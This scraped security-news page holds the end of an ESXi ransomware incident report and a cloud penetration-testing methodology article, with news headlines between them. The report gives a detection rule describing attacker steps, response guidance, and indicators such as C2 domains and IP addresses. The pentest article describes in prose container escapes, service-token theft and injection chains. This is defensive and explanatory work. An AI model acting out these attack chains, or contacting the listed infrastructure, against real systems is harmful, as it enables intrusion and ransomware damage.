IF SFTP upload or new executable appears under /tmp AND chmod / execution follows from same SSH client or source AND a short validation run occurs before access to /vmfs THEN raise CRITICAL; Increase confidence if: - client identifier is unusual for the management segment - repeated true-only SSH channels precede commands - multiple VMs are stopped soon afterward. Incident response at the virtualization layerThis section contains recommended actions when responding to an incident involving ESXi ransomware.
First 30 minutes after incident discovery- Isolate vCenter management access from ordinary enterprise segments while preserving investigator access through a controlled path.
- Export vCenter Events and Tasks, SSO audit records, active sessions, and the current Host Profile definitions before remediation changes erase context.
- Collect ESXi auth.log, shell.log, vpxa.log, vobd.log, hostd.log, vmkernel.log, vmkwarning.log, vmksummary.log, esxupdate.log, and hostprofiletrace.log from each affected host.
- Preserve VCSA /etc/systemd/system, /opt/vmware paths referenced by previously unknown or unapproved units, shell history, wtmp, authentication logs, and copies or hashes of suspicious binaries.
- Capture backup-server telemetry, service state, credential-store evidence, and network logs before rebuilding or rotating infrastructure credentials.
- Record current execInstalledOnly state, host acceptance level, SSH/ESXi Shell state, Lockdown Mode, domain membership, and ESXi permission mappings.
Do not begin by rebooting ESXi merely to remove the attacker session. ESXi logging persistence depends on scratch and syslog configuration, and a reboot may destroy ramdisk-resident evidence. Confirm that critical logs have been copied or remotely retained before containing disruptive activity unless ongoing impact makes immediate shutdown unavoidable.
Containment priorities- Revoke or rotate compromised administrative credentials and remove attacker-controlled access paths, but preserve authentication and task records first.
- Disable unapproved TSM-SSH and ESXi Shell access after collecting evidence; make sure that Host Profiles or other automation will not immediately re-enable them.
- Remove unauthorized systemd services and remote-management agents from VCSA only after imaging or preserving the unit and referenced binaries.
- Restore execInstalledOnly and acceptance-level settings to the approved baseline after determining that doing so will not disrupt evidence collection or critical recovery tooling.
- Segment or disconnect compromised backup infrastructure from production and establish a clean recovery control plane before attempting large-scale restoration.
VMware vCenter is not merely an inventory console. It can hold the authority to configure hosts, manage identities, power VMs, apply Host Profiles, and mediate access across the virtual estate. The incident in question shows why compromise of vCenter can undermine controls enforced through the virtualization management plane, providing an attacker with sufficient privileges to configure hosts, control VMs, and modify security-relevant settings across the virtual estate, potentially enabling the entire virtualized environment to be disrupted or destroyed within minutes. Protect vCenter with dedicated administrative identities, phishing-resistant MFA through supported identity federation, restricted management-network access, monitored privileged sessions, and close monitoring of Host Profile and cluster-level change operations.
Separate virtualization identities from ordinary enterprise administrationAvoid broad reuse of domain administrator or workstation admin credentials for virtualization. Where ESXi is domain-joined, apply the secure Active Directory configuration following Broadcom’s recommendations and continuously audit group mappings and permissions. Note that the Valid Accounts attacker technique is applicable to ESXi environments. Moreover, as an example of the Default Accounts subtechnique, MITRE specifically mentions the vpxuser account used by vCenter for host management.
Keep direct ESXi management paths narrowSSH is useful for troubleshooting but should be treated as an exceptional administrative path rather than routine day-to-day access. Unauthorized SSH enablement on ESXi hosts both directly and through vCenter should be detected by monitoring TSM-SSH changes and treated as a suspicious event. To further harden ESXi hosts, use Lockdown Mode where operationally suitable, providing access only to a small set of explicitly authorized users, apply management-network filtering, and an approval and tracking policy for any changes, especially for enabling shell access.
Make the logging path independent of the affected hostRemote syslog from ESXi and vCenter should be stored on infrastructure outside the virtualization trust domain. Persistent scratch improves log survivability after reboot, but local evidence can still be lost if the data storage or host is destroyed. It is recommended to use centralized logging (e.g., SIEM logging), which should include authentication, shell, host management, Host Profile, and vCenter task telemetry. Proper logging should be configured before any incident happens, so the full picture is available to the response team in case of an emergency.
Design backup as a separate security boundaryUse independent administrative identities for backup, minimize domain dependencies, isolate repositories and management interfaces, protect immutable copies from production credentials, and test recovery under the assumption that vCenter and production AD are unavailable. A backup design should be judged not only by whether data is immutable, but by whether a clean operator can authenticate, reach the repository, validate the data, and restore workloads after the production control plane is compromised.
Resilience improves when enterprise identity, virtualization administration and recovery authority are separated rather than chained through shared privileged credentials
ConclusionThe central lesson from the incident in question is not that ESXi needs another endpoint agent. It is that virtualization security depends on the integrity of the management plane, the identity plane, and the recovery plane at the same time. A hypervisor can remain fully patched and protected and still become the point of maximum ransomware impact when the system authorized to manage it has already been compromised. The adversary did not need to break VMware’s cryptography or escape from a guest. Once they accessed a privileged vCenter control, a legitimate compliance mechanism could be used to change host state, enable SSH, and create a path into ESXi that looked structurally similar to normal administration activities.
The case also shows why destructive ransomware incidents are often won or lost before encryption begins. The attacker established alternate persistence, validated the ESXi payload hours before detonation, disrupted backup capability first, and then executed disruptive activities from the layer least visible to guest controls. Each stage created a detection opportunity, but those opportunities existed in management, virtualization and recovery telemetry rather than in a conventional endpoint process tree.
The durable defense is therefore architectural. Treat vCenter as Tier 0. Separate virtualization identities from ordinary enterprise administration. Keep direct ESXi access narrow. Preserve native logs outside the affected platform. Detect high-risk configuration changes as sequences rather than isolated commands. Finally, design recovery so that compromise of production identity or virtualization management does not also provide the authority needed to destroy the systems required to restore them.
MITRE ATT&CK mapping Technique Name Case relevance Status T1078 / T1078.002 Valid Accounts / Domain Accounts Stolen enterprise credentials used for privileged infrastructure access. Observed / contextual T1078.001 Valid Accounts: Default Accounts Relevant to root and vpxuser trust relationships on ESXi. Not observed in this incident, but relevant for ESXi platform T1021.004 Remote Services: SSH SSH used for vCenter and ESXi administration; MITRE explicitly covers ESXi SSH. Observed T1543.002 Create or Modify System Process: Systemd Service Ligolo-ng persisted as vmware-vdma.service on VCSA. Observed T1572 Protocol Tunneling Ligolo-ng created a tunneled route into the management segment. Observed T1490 Inhibit System Recovery Backup services and recovery infrastructure were disrupted before production impact. Observed T1486 Data Encrypted for Impact Virtualization workloads were rendered unavailable during the ransomware phase. Observed impactATT&CK mappings selected conservatively from observed behavior and current ESXi-capable ATT&CK techniques
Incident indicatorsThe following indicators were recovered during the investigation. They are incident-specific artifacts, not durable signatures for BlackNevas or any other ransomware family. Service names, filenames, domains, and VPS infrastructure can be changed or reassigned. No hashes are available for the ESXi encryptor, the Ligolo-ng binary, the agent installer script, or the credential-extraction script because those files were not available.
Type Indicator Context Confidence Scope Service vmware-vdma Systemd unit masquerading as a VMware service on VCSA. High Incident-specific Service vspbind Windows service for the remote-management agent. High Incident-specific Domain api.cloudvflare[.]com Ligolo-ng C2; one-character typosquat of cloudflare.com. High Incident-specific IPv4 45.149.154[.]135 Remote-management agent C2. High Incident-specific IPv4 91.92.242[.]121 VPS used for initial portal access. High Incident-specific IPv4 31.41.33[.]212 VPS used for initial portal access. High Incident-specific IPv4 188.240.57[.]94 VPS used for initial portal access. High Incident-specific SHA-1 28f8da19ddcdf26e426875c7a834b34a79bc1c33 svhost.exe / lock.exe. High Sample-specific SHA-256 15dc419b7fbeb50c50820a7cd27997541deafa4fa710f074bb657f0149574baf Remote-management agent. High Sample-specific SHA-256 5a9b7a0d3f25757aea957713d7e84cabec87597b3474368328a8fd5ed7a12f78 Installed remote-management agent variant. High Sample-specificIncident indicators for retrospective hunting
Minimum virtualization forensic collection set Layer Telemetry source Investigative value ESXi authentication /var/run/log/auth.log Source IPs, users, SSH timing, and client identifiers. ESXi commands /var/run/log/shell.log Exact commands executed through ESXi Shell. vCenter-to-host management vpxa.log + vCenter Events/Tasks Host Profile remediation, service changes, and administrative source. Host security observations vobd.log execInstalledOnly, service, and security-state events. Host management hostd.log VM and host tasks, and API/management interactions. Kernel / storage vmkernel.log + vmkwarning.log Storage faults, world lifecycle, and VMkernel warnings. Impact scale vmksummary.log Hourly VM count and host heartbeat. VIB history esxupdate.log Patch / VIB installation. Host Profile hostprofiletrace.log Profile application and compliance activity. Per-VM evidence vmware.log beside VMX Power and device operations for individual VMs. VCSA persistence /etc/systemd/system + referenced binaries Unauthorized services and persistence paths. VCSA access SSO logs, auth logs, wtmp, shell history Authentication, session, and command context. Backup layer Application logs + Windows telemetry + credential-store evidence Recovery-path compromise and credential bridge. Network Firewall / flow / proxy / DNS vCenter-to-ESXi SSH, C2, tunneling, and management-segment pivots.Minimum acquisition set for a suspected virtualization-layer ransomware incident
C++26 stumbles at finish line over Contracts dispute
OpenAI launches security products, tells orgs they’re doomed if they don’t use them
Lego marketplace BrickLink in pieces after 'unusual activity' takes it offline for almost a week
Software Samaritan revamps borked Indian certs to block smart TV ads
Microsoft Exchange Server 2016 and 2019 enter their 'permanently vulnerable' era
Hackers exploiting ScreenConnect plugin flaw to spread malware across hundreds of PCs
European tech buyers add digital sovereignty to cyber shopping list
Transcending the trust boundaries: how a cloud pentest works
Users trust a cloud provider to configure and maintain their IT services, including data storage. In turn, the provider guarantees that hosted services will stay up and that data will remain strictly confidential.
To demonstrate that their platforms are secure, providers choose different strategies: some run bug bounty programs, some rely on regular internal audits, and some bring in external research teams. However, cloud pentest methodology still has plenty of blind spots: there’s no single standard, and the outcome depends on the experience and skill of the team.
Most pentests in this area have historically focused on the external layer: the management console, customer interfaces, APIs, and the basic network perimeter. This layer is important, but it’s only the surface.
In this introductory article, we share our approach to penetration testing of cloud environments, which we’ve developed over several years and dozens of projects. We don’t claim to cover every possible scenario. Instead, we want to show the reasoning behind our pentests and highlight less obvious points that are easy to miss.
Key points- Cloud infrastructure is more complex than a traditional web application. To simplify, you can think of it as a hotel with three zones: the booking website (External, the outermost layer), the guest rooms (Overlay, the logical layer), and the staff area (Underlay, the infrastructure or base layer). A cloud service is well protected if the trust boundaries between these zones cannot be breached.
- A cloud pentest’s value isn’t measured by the number of vulnerabilities found or by the mere fact that code ran. Remote command execution in an isolated tenant container is only the beginning of a pentest, not the end. The main goal is to assess whether an attacker can violate trust boundaries.
- The assessment should answer five critical questions: Can an attacker read, modify, or delete other tenants’ data? Can they take over the provider’s IAM service account? Does compromising a runtime environment lead to the attack spreading to other resources and services? Can the provider’s internal resources be affected from low-trust segments? Is a virtual environment escape possible?
- A negative result is still a result. If a pentester cannot move from the tenant plane to the provider overlay, that is a valuable finding. It shows which protection boundaries work in practice and which rely only on assumptions and need additional controls. However, it does not prove that the trust boundary is impossible to cross or that no other attack paths exist.
Below, we explain some specific terms that are most often used in cloud infrastructures.
Show definitions
Tenant (think of a renter in an apartment building) is a logically isolated unit within a cloud platform. Examples include a user (such as an organization), a separate project or cloud account, or another unit of administrative and resource isolation.
Tenant plane is the set of IT services and data that a tenant manages directly: virtual machines, Kubernetes clusters, databases, object storage, and managed applications.
Management console is the graphical web interface and the entry point for the customer at the External layer.
Service runtime is the actual environment in which a provider’s cloud product runs: a process, container, pod, virtual machine, or microVM.
Service management plane consists of the provider’s internal components that create, update, restart, back up, and delete the service runtime.
IAM service account (service identity) is a special digital identity for programs, bots, cloud services, or servers. It lets them access the required cloud resources automatically and securely, without human involvement.
Context (in cloud security) is the set of attributes and credentials that define the current permissions and runtime environment of a subject in the system. It includes the identity in use (for example, a service account token, certificate, or key), the privilege level (roles and IAM policies), and the technical environment from which the request is initiated (container, virtual machine, or network segment).
Initial zone is the context in which the researcher lands right after the first successful transition. It consists of the specific runtime, IAM service account (service identity), namespace, network routes, and the set of available services.
Provider overlay is the provider’s internal environment, hidden from the customer, that is accessible from the initial zone: network segments, DNS zones, internal APIs, and management components.
Control plane consists of the platform components that make global management decisions and change the platform state: they allocate resources, assign permissions, configure the network, and coordinate state.
Data plane consists of the components that transfer or process user data and application traffic. Some components (or systems) sit at the intersection of different architectural layers, so they can’t automatically be assigned to the data plane or the control plane. Examples include logging, backup and billing systems. Their role changes depending on the task a component is performing at a given moment and how its work affects user traffic.
Cell is a bounded portion of the platform in which compute, disk, network, or management components are shared (often tied to a region, availability zone, service type, or group of tenants).
Pods are the smallest compute units in Kubernetes. A pod is one or more containers that are deployed on the same host and share common resources.
Cross-tenant impact is confirmed impact from the context of one tenant on the resources of another, without a trust relationship defined by the architecture.
Provider-level impact is impact on a provider’s management, infrastructure, or supply chain component that goes beyond the original tenant resource.
Tenant workload is the set of compute resources, processes, and applications that a customer runs and uses in their tenant to perform business tasks. It includes virtual machines, containers (such as pods in Kubernetes), serverless functions, managed databases, and any other active services that process tenant data.
What a pentester needs to checkDuring a project, a pentester needs to examine not only the management console but also the boundaries that separate the tenant plane from managed services and the provider’s internal infrastructure. A single request passes through many components, from the API gateway to the storage system. A configuration error in any of them changes the attack context: the researcher takes over an IAM service account, gains access to the cloud’s internal network, or acquires the ability to affect another tenant.
This is why a cloud pentest is not just a search for vulnerabilities in the management console, nor a sequential scan of cloud subnets. Above all, it means testing trust boundaries: verifying how transitions between zones with different trust levels are controlled. A more trusted zone must treat everything that comes from a less trusted zone as potentially hostile.
What makes a boundary real? Controls such as authentication and authorization (IAM, RBAC), isolation (virtualization, containerization, network segmentation), cryptography (mTLS), input handling, and others. We build a map of potential boundaries and check each one: is it actually enforced by controls, or does it rely on assumptions (architectural, infrastructural, implementation-related, and others)?
Cloud platform as a research targetWhen we assess the security of a traditional system, we usually start from basic architectural patterns. For web applications, this is a typical stack of a web server (Nginx, Apache, and so on), server-side logic, object storage, and integrations with third-party services. For hardware solutions, it is a chain from physical interfaces to firmware and protocol handlers.
Cloud platforms are different: how they’re actually built is highly uncertain. Cloud computing standards and reference architectures (such as NIST SP 800-145 and ISO/IEC 17788) define the roles of participants and the relationships between cloud components, but they don’t prescribe strict rules for how to build a platform.
Because there is no single technical standard, a managed database that looks the same from the outside can run in an isolated virtual machine at one provider, in a namespace of a shared Kubernetes cluster at another, and in a dedicated tenant cluster at a third. The same variability applies to software choices. A provider can use OpenStack, Kubernetes, its own control plane, or a combination of them. This means a familiar product name doesn’t give a full picture of the system’s internal structure.
That’s why a cloud pentest is harder than assessing a traditional system. Once the tenant trust boundary is breached (say, by escaping from a microVM to the host operating system), the job is no longer finding the next open port. It becomes reconstructing the architecture from indirect clues. The pentester puts the puzzle together by studying running processes, network routes, certificates, service names, and agent configurations. From these details, the researcher determines the role of each component and the trust boundaries between them.
To keep our approach vendor-agnostic, we will look at cloud infrastructure without reference to specific brands. Depending on the architectural scenario, the same component can be implemented in fundamentally different ways. For example, in one case a managed database can run as a separate managed service isolated at the virtual machine level (where the main risks are hypervisor security and the management API). In another case, it can run as a container inside a shared Kubernetes cluster (where the threat comes from the possibility of container-to-host escape and the quality of namespace isolation).
The hotel analogy and the three cloud layersThere is no single standard for building cloud infrastructure. To make pentesting systematic, we use our own three-layer model of the cloud: External, Overlay, and Underlay. The easiest way to picture a cloud platform is as a large hotel. It has a public area for guests, back-of-house areas for staff, and technical floors with utility systems. This analogy doesn’t cover every detail, but it shows well how areas of responsibility are divided and how the transitions between them work.
External layer: in a hotel, this is the booking website, the doors, and the front desk. At this layer, the pentester interacts with cloud components the way a typical user does: logs in to an account, calls the public API, creates IT services, and connects to their endpoints. Work at this layer is similar to external penetration testing or application security assessment. The main goal is to gain initial access from the outside to another customer’s tenant, or to move to the Overlay layer.
The External layer is where tenant access is provided as intended. In a hotel, the tenant is the room itself: guests control the belongings and equipment in their own room, but their key card must not open neighboring rooms. In the cloud, customers manage only their own data, virtual machines, pods, databases, object storage (S3 buckets), and accounts within their own project. A tenant is not a separate infrastructure layer. It is what the user gets at the External layer. This is where the user’s legitimate privileges end and the first trust boundary, the one the pentester checks, begins.
The provider’s service layer (Overlay): in a hotel, this is the “Staff only” area: kitchens, laundries, the control room, service corridors, and the master key system. In cloud infrastructure, this is the internal logical service management layer: runtime environments for managed services, schedulers, backup, monitoring (observability) and billing systems, the IAM system, and internal APIs. Customers use the results provided by these systems but must not get any access to them unwarranted by the architecture.
Don’t confuse this term with an overlay network in traditional network engineering: a logical network on top of a transport underlay network, such as VXLAN segments. In our methodology, Overlay has a broader meaning: it’s the internal logical layer for running and managing cloud services, and it can be split differently depending on the cloud. For clarity, the table below divides it into two sublayers: runtime environments of tenant services and provider’s internal components.
Infrastructure layer (Underlay): in a hotel, this is the utilities, electrical equipment, and physical access control systems that keep the building running. In the cloud, this is the hardware layer: physical servers, host operating systems, hypervisors, the transport network, storage systems, and out-of-band management. Careless testing at this layer can do serious damage.
But the key point of this analogy is not the rooms themselves, but the doors between them. A vulnerability on a booking website is dangerous, but a master key left in a room that opens several or every door in the building is far more so. The same rule applies in the cloud: remote code execution (RCE) inside an isolated tenant container (pod) is only a local problem. Compromise of an IAM service account that manages the resources of a region affects the entire platform.
The table below gives examples of components, pentester entry points, and assessment goals for each layer. We split the Overlay into two sublayers because the runtime environment of a tenant service and the provider’s internal infrastructure have different trust boundaries and different entry points.
Layer What it contains Typical pentester entry point Main assessment goal External Public cloud interface (API), management console, IAM, endpoints for interacting with IT services, and SDK. The internet or a regular customer account. Gain initial access to the tenant, execute code, compromise an IAM service account (service identity). Overlay (IT services) Service runtime: the operating system and its components, provider and product agents, and database engine. User SQL queries, code executed inside jobs, imported plug-ins, or operating system images. Break out of the service runtime, find excessive privileges on the IAM service account (service identity) assigned to it. Overlay (provider components) Billing system, backups, monitoring, access control system, and internal cloud API. A confirmed initial zone obtained at the previous step or provided by the cloud provider to save time. Breach the boundaries between services, disrupt tenant isolation, find ways to interact with the control plane or IT services. Underlay Host operating systems, virtualization systems (hypervisors), the transport network, storage systems, baseboard management controllers (BMC), and other low-level mechanisms. A virtual machine the pentester controls, with access to the underlay, or a privileged IAM service account (service identity). Check the isolation of virtualization and neighboring workloads, as well as the real scale of the impact.A real cloud platform doesn’t always fit this matrix. A service can run in a separate virtual machine, in a pod in a shared cluster, or in a microVM. A hypervisor belongs to the Underlay, but its management API may be reachable from the Overlay. That’s why the layer a pentester is currently on (External, Overlay, or Underlay) depends not just on the IP address but on four attributes taken together:
- Who controls the cloud infrastructure component.
- Whose data and resources the component serves.
- Which IAM service account is used for interaction.
- How far its privileges extend.
When analyzing the network that supports a cloud’s internal infrastructure, it’s easy to wrongly assume there is only one trust boundary, between the tenant and the provider. But reaching the provider’s internal network may be only the first step. A real platform contains many zones with different trust levels, and compromising one component doesn’t necessarily give access to the whole infrastructure. For example, a user request may pass in sequence through the customer interface (the management console), then the tenant plane (a database), then the service runtime (the virtual machine that the database runs on), then the service management plane (an internal service that monitors database health), then the cloud control plane (an internal service that manages database resources). Only after that does it finally reach the infrastructure layer.
Each transition changes the trust zone, but it doesn’t necessarily mean reaching a new subnet or obtaining root privileges. It’s like passing through turnstiles inside the same building. We haven’t left the building (a new subnet) or gotten keys to every door (root privileges), but at each checkpoint we have our badge checked again, because different security rules apply on the other side. Sometimes the boundary lies between two roles in the same process, sometimes between an API and a worker, and sometimes between a guest virtual machine and a hypervisor. At the boundary between an API and a worker, a vulnerability can arise from differences in data handling. For example, an internal cloud API accepts a string containing a null byte (\x00) from a user, considers it valid, and passes it on. A background worker then blindly trusts this data and inserts it into a low-level query to a PostgreSQL database. In C libraries, \x00 terminates a string. As a result, the database handler truncates the text at the point where this byte was injected. This breaks the logic of the SQL query or permission check and resets the regular user’s context. The system is then forced to change the password of the main administrator (postgres), which leads to full database takeover.
Example 1. Strict isolation (managed database)
A customer rents a managed database in their tenant. The tenant is allowed to run SQL queries but not allowed to connect to the operating system the database runs on. Here, the trust boundary lies between the permissions of a database role and the runtime environment of the database process. If, through the permitted SQL queries, the pentester manages to reach code execution at the operating system level as the service process, the pentester gains full access to the host’s resources. This lets them do more than just collect information. They can actively interact with the host: read and modify files, analyze running processes, establish network connections to internal services, and extract credentials (for example, an IAM service account token) to attack other cloud components.
Example 2. Legitimate access (managed virtual machine)
In another implementation, the provider supports SSH key authentication by design, and the user connects to the resource like to any other virtual machine. Formally, the product is still called a “managed database”, but the actual trust boundary shifts deeper, to the level where the guest OS interacts with the host infrastructure. In this case, SSH access to the operating system is not a violation in itself, because the service model allows it. What we need to test is the next boundary, the one between the service virtual machine and the management agents, metadata, host, or control plane.
This leads to several practical rules:
- Normal execution of user code does not, by itself, prove an isolation breach. In IT services such as interactive notebooks, continuous integration (CI) runners, or serverless systems, code execution is a product feature.
- Gaining maximum privileges inside a pod does not mean gaining maximum privileges on the node. After crossing each trust boundary (for example, into a zone with different privileges or service accounts), you need to re-check what’s visible: processes, mount points, interfaces, devices, and IAM service accounts.
- An IAM service account token that a researcher finds is not necessarily useful. What matters is who issued it and which systems accept it. The tenant or service the token is bound to, and the actions it permits there, also matter.
- The fact that a tenant container can reach a provider’s internal IP address does not mean a compromise has occurred. In many clouds, some internal services are reachable over the network by design. For a real compromise, an attacker must either steal a service token or find an internal service that mistakenly accepts customer accounts or requires no authentication.
- Remote code execution inside the environment where a service runs does not mean access to the control plane. This is only the initial zone, from which the researcher must look for the next trust boundary: service tokens, the provider’s internal APIs, and neighboring containers.
To tell a real trust boundary violation from a false positive, we use four sequential stages from the researcher’s perspective:
- Network visibility. The researcher can see the provider’s internal service from the tenant plane. This is not a breach yet, but it is the first sign that isolation may be insufficient.
- The researcher manages to authenticate to a service by presenting a token or certificate compromised at the previous step (for example, a service account token or a metadata token). This is serious, because the service treats the request as legitimate.
- The target object grants specific permissions to the current context. This is not yet the execution of dangerous operations, but only a check that they are allowed.
- Controlled action beyond the original trust boundary. The researcher performs the minimum safe action that confirms the previously obtained permissions work in practice. For example, they create a test record in a neighboring tenant (usually a second test tenant).
The first two stages only produce a hypothesis that the trust boundary has been violated. The object is visible on the network and accepts requests, but that does not mean the researcher can change anything in it. Confirmed impact appears only in the last two stages, when the researcher obtains authorization and performs a controlled action beyond the original boundary. For example, network reachability of a neighboring database indicates insufficient network isolation, but cross-tenant impact appears only when the researcher can use the original context to perform an action on another tenant’s resource that the cloud model doesn’t allow, such as reading data. To keep the test ethical, the researcher demonstrates such reading only between their own test accounts, so real users’ data stays confidential.
Attacker model and three research goalsDividing the cloud infrastructure into three layers (External, Overlay, and Underlay) helps define the attacker model for each layer. In penetration testing, the researcher can focus on one layer and look for every possible way to violate the nearest trust boundary. Another approach is to build a full attack chain across all layers. The attacker model also defines the starting point: the access level and position from which the pentest begins. Below is a general list of attacker models that apply to most cloud infrastructures:
- External attacker without an account. The test covers the public attack surface, registration, the login mechanism, externally accessible services, and the path to the first tenant context. Layer: External.
- Attacker with legitimate tenant access. This is the key model for a multi-tenant cloud: the tenant is entitled to create their own resources and tries to go beyond the limits those resources impose. Layer: External.
- Internal attacker with a compromised runtime. The starting point is a compromised process, pod, or virtual machine. This scenario is especially relevant for supply chain attacks. The researcher explores options for lateral movement in the network and host environment. Layer: Overlay or Underlay.
- Internal attacker with a compromised IAM service account token or an operator account. This model involves testing IAM and the cloud platform management processes. Layer: Overlay or Underlay.
Regardless of the attacker model and the initial entry point, the research goals at the initial stage fall into three groups.
1. Code execution firstThe goal of this approach is to execute arbitrary code inside a provider-managed environment. To do this, a pentester can attack a managed database, serverless function, CI/CD workload, PaaS application, tenant virtual machine, container, or virtual network gateway.
Example of an attack chain through a managed service
The pentester interacts with the managed service interface and finds a vulnerability in it (for example, CVE-2026-19478 in the case of the GitLab web interface) or in add-on modules deployed by the cloud provider. The vulnerability allows the researcher to execute code remotely inside the runtime (operating system), find an IAM service account, and use it to gain access to the resource management service. The researcher can then look for vulnerabilities in that service and penetrate the provider overlay.
Example of an attack chain through a virtual environment
The chain begins with the compromise of a tenant workload. The researcher plants malicious code in a popular OS or container image in advance. A cloud tenant downloads and runs the trojanized image, and the attacker gains access inside that specific container. Next, the attacker finds ways to escape the container (using CVE-2026-43284) into the runtime: the container runtime, hypervisor, or host agent. From there, they reach the host shared with other containers and can affect the provider’s management components.
Rather than gaining access to a runtime environment, the researcher may obtain credentials that cloud services accept as valid: a service account token, metadata access credentials, an mTLS certificate, a bootstrap token, or an object storage key.
In this scenario, the move into the provider overlay doesn’t come from breaking network isolation. It happens through legitimate platform functionality. The network may be well segmented, but an over-privileged IAM service account token that the attacker manages to extract (for example, from environment variables or metadata) can legitimately call an internal API through a standard gateway or token exchange service.
3. Administrative or service contextThe goal of this scenario is to bypass technical restrictions by gaining legitimate access through channels intended for staff. The route often starts with targeting people (phishing, insiders, or leaked employee or contractor credentials). However, the final entry point into the internal environment is technical: a connection through the operator’s VPN, a support portal, a remote support tool, an administrative workstation, an SSH certificate, or a serial console. Although the route often starts with compromising a person, the resulting initial zone (the technical context with certain privileges and access to resources where the researcher ends up) can match the first scenario. For example, access to a managed database host (DBaaS host) can be obtained not by exploiting a vulnerability but through a legitimate administrative channel, which is then used for privilege escalation.
Sorting out the architectural zooAfter moving deeper into the cloud infrastructure and gaining access to a node, the pentester analyzes local artifacts. Completely different architectures can hide behind the same managed service.
OpenStack-like infrastructureIaaS services based on OpenStack usually include a large set of components: an IAM service account, compute resources, networking, images and block storage, as well as API processes, workers, a message broker, and platform state databases. A managed service built on top of such an IaaS layer can use a separate virtual machine for each database instance, several instances on a shared virtual machine, a Kubernetes cluster on virtual workers, or even a dedicated tenant for a specific product.
A message broker such as RabbitMQ is typical for OpenStack, but finding one doesn’t prove that the target is a stock OpenStack deployment. The provider may have changed the trust model, added its own API, and replaced some of the components.
Kubernetes-based platformsIn clouds of this type, a central Kubernetes cluster controls the entire infrastructure: not only containers but also virtual machines, other tenant Kubernetes clusters, and managed services. At the service runtime level, a product can run as a pod in a shared namespace, an application inside a tenant, a KubeVirt virtual machine, or a worker node of a separate cluster. From the outside, they all look like the same product, but their trust boundaries and the attack surface behind them differ radically.
Because the platform is managed through a Kubernetes cluster, where the service account token is the main unit of authorization, it’s especially important to determine where the IAM service account you obtained during the pentest lives: in a tenant cluster, in a managed cluster, or with an operator that serves multiple tenants. Identical-looking tokens may have permissions for only one pod, or they may allow changing resources in several environments at once.
Custom control plane and configuration management systemsA provider may forgo off-the-shelf platforms altogether. For example, in this kind of architecture, a provider might build its public API in-house, deploy virtual machines through libvirt or a lightweight IaaS layer, automate networking with scripts around Open vSwitch (OVS), build object storage on Ceph, and distribute node configuration through SaltStack or another configuration management system.
In this architecture, a virtual machine management service might get its settings from an internal HTTP service, a script with shared credentials might run backups, billing might receive events from a queue, and an internal agent might talk to the control plane over mTLS. Almost every component here is specific to the provider. The main risk area is not vulnerabilities in well-known products, such as those built on open-source solutions, but logic errors at the junctions between internal systems.
Mixed-stack platformIn practice, the most common setup is a mix of approaches
- The infrastructure core (IaaS layer) is built on OpenStack
- Kubernetes runs the managed services
- The storage system runs on Ceph
- IAM, billing systems, and the internal API are custom-built.
Here are some clues that can help form initial hypotheses about the environment:
- A Kubernetes token and cluster DNS in the runtime environment of the host under investigation suggest that the service is running in the context of a pod.
- A running qemu-guest-agent process indicates that we are inside a virtual machine rather than on a physical server.
- Attached Ceph/RBD volumes point to a separate storage plane in the platform architecture, implemented as distributed block storage.
- A large number of CNI or Open vSwitch (OVS) network interfaces means that this is a shared Kubernetes node
However, any such clue needs additional verification tests.
Example of a mixed-stack cloud platform
How to choose the next trust boundaryAfter the pentester has examined the initial zone, the next route depends on a combination of two factors:
- Network visibility: which segments, services, and tenants are reachable.
- Available trust level: which credentials, certificates, and API methods are accepted as valid in those segments.
Sometimes the network has almost no restrictions, but all services require correct mTLS authentication. In other cases, the network is almost completely closed, but a discovered service account can create resources across the entire region through the standard API. For this reason, network reachability (open ports) and the IAM service account must be considered together.
At this stage, the researcher usually focuses on several critical areas:
Telemetry (observability): the pentester checks whether centralized monitoring systems (logs, metrics, traces) collect data from different tenants and whether there is sufficient isolation between them. Isolation can fail if an attacker can search by other tenants’ identifiers, read raw event records, extract credentials from telemetry events, or influence alerts and automated actions.
Data storage and backup systems: this layer connects the runtime environment, the management plane, and user data. The researcher analyzes temporary restore volumes, scopes of keys, how snapshots and backups are bound to tenants, and how workers determine the owner of a resource.
Billing and quota system: the pentester checks whether a mismatch between inventory and accounting can lead to unbilled compute usage, quota bypass, or exhaustion of the provider’s resources. Critical impact here does not necessarily require remote code execution.
IAM and service account: the pentester assesses whether a token can open a path through a public or internal gateway, even with strict network segmentation. The pentester pays particular attention to the token’s scope, lifetime, tenant binding, and access to the secrets store.
Supply chain: the pentester checks container image and virtual machine image registries, installation package repositories for utilities and Kubernetes package managers, and CI/CD tool configurations. Write access to any of these components can sometimes have a greater impact than remote code execution on a single node.
Management services: the pentester examines task schedulers, message queues, inventory services, and configuration management systems. If the researcher gains such a component’s trust, there’s no need to connect to each service instance directly: the component itself can push commands and changes out to other resources.
Typical attack chains and real-world incidentsIn practice, no two attack scenarios are quite alike, but a few examples show clearly how attackers violate trust boundaries.
1. From a managed database to other users’ dataThe researcher deploys their own managed database and uses standard SQL statements and procedures for queries. However, an isolation flaw lets code execution escape the isolated runtime and land in the service’s shared runtime. There, the researcher finds an IAM service account token that isn’t tied to any specific managed database instance. The isolation breach is confirmed by a successful manipulation of the database of another (test) tenant.
In this case, the ability to run SQL queries was not itself a vulnerability. The critical transition occurred between the tenant context and the shared IAM service account. The result was cross-tenant impact, achieved without even needing root privileges on the host.
Similar logic was demonstrated in the public ChaosDB case: the Jupyter Notebook feature in Azure Cosmos DB created a risk of access to other tenants’ keys. This is an important example of a vulnerability in a single user-facing feature of a managed service affecting other components of the platform.
2. From a Kubernetes pod to other users’ dataThe pentester launches their own container and then uses an isolation vulnerability to take control of the underlying host. On the host, the pentester finds a privileged Kubernetes service account that processes requests from the management cluster’s API. A controlled action on a neighboring pod that belongs to a second test tenant confirms the isolation breach.
This is exactly how the Azurescape chain, published by Unit 42, worked: a container escape, acquisition of a privileged IAM service account, and compromise of a multi-tenant Kubernetes cluster. What mattered here was not the container escape but the ability to obtain a service account token valid for other tenants.
3. From a public operation to changes in internal cloud resourcesA user calls a standard restore, import, plug-in installation, or image build operation for a managed service. The public API validates a parameter passed to an internal worker too loosely. Exploiting a vulnerability in the worker itself leads to remote code execution or privilege compromise (write access to the container image registry or the package manager). This makes it possible to replace the target artifact with a user-provided one.
This is an example of impact at the cloud provider’s infrastructure level: an endpoint (worker) in the public API can compromise the future workloads of other tenants, even if the researcher did not scan neighboring tenants or access their data.
